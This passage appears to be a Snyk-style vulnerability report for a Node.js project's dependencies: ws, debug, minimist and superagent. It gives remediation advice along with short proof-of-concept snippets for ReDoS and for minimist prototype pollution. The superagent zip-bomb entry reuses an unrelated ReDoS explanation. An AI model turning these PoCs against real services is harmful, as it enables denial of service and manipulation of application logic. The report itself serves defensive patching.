Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › zetta@1.6.0 › revolt@0.9.0 › ws@0.5.0Remediation: Open PR to patch ws@0.5.0.
Overview
ws
is a simple to use websocket client, server and console for node.js.
Affected versions of the package use the cryptographically insecure Math.random()
which can produce predictable values and should not be used in security-sensitive context.
Details
Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated.
There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value. In general, if a PRNG algorithm is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.
You can read more about node's insecure Math.random()
in Mike Malone's post.
Remediation
Upgrade ws
to version 1.1.2 or higher.
References
medium severity
- Vulnerable module: ws
- Introduced through: ws@3.3.3 and zetta@1.6.0
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › ws@3.3.3Remediation: Upgrade to ws@5.2.3.
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › zetta@1.6.0 › ws@3.3.3
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › zetta@1.6.0 › revolt@0.9.0 › ws@0.5.0
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol
header can be used to significantly slow down a ws
server.
##PoC
for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
const value = 'b' + ' '.repeat(length) + 'x';
const start = process.hrtime.bigint();
value.trim().split(/ *, */);
const end = process.hrtime.bigint();
console.log('length = %d, time = %f ns', length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ws
to version 7.4.6, 6.2.2, 5.2.3 or higher.
References
low severity
- Vulnerable module: debug
- Introduced through: socket.io@2.5.0
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › socket.io@2.5.0 › debug@4.1.1Remediation: Upgrade to socket.io@3.0.5.
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › socket.io@2.5.0 › engine.io@3.6.1 › debug@4.1.1Remediation: Upgrade to socket.io@3.0.0.
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › socket.io@2.5.0 › socket.io-parser@3.4.3 › debug@4.1.1Remediation: Upgrade to socket.io@3.0.0.
Overview
debug is a small debugging utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the function useColors
via manipulation of the str
argument.
The vulnerability can cause a very low impact of about 2 seconds of matching time for data 50k characters long.
Note: CVE-2017-20165 is a duplicate of this vulnerability.
PoC
Use the following regex in the %o
formatter.
/\s*\n\s*/
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade debug
to version 2.6.9, 3.1.0, 3.2.7, 4.3.1 or higher.
References
low severity
- Vulnerable module: minimist
- Introduced through: pm2@2.10.4
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › mkdirp@0.5.1 › minimist@0.0.8
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype
.
Notes:
This vulnerability is a bypass to CVE-2020-7598
The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.
PoC by Snyk
require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist
to version 0.2.4, 1.2.6 or higher.
References
low severity
- Vulnerable module: superagent
- Introduced through: super-siren@2.0.2
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › superagent@2.3.0
Overview
superagent is a Small progressive client-side HTTP request library, and Node.js module with the same API, supporting many high-level HTTP client features.
Affected versions of this package are vulnerable to Denial of Service (DoS). It uncompresses responses in memory, and a malicious user may send a specially crafted zip file which will then unzip in the server and cause excessive CPU consumption. This is also known as a Zip Bomb
.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade superagent
to version 3.7.0 or higher.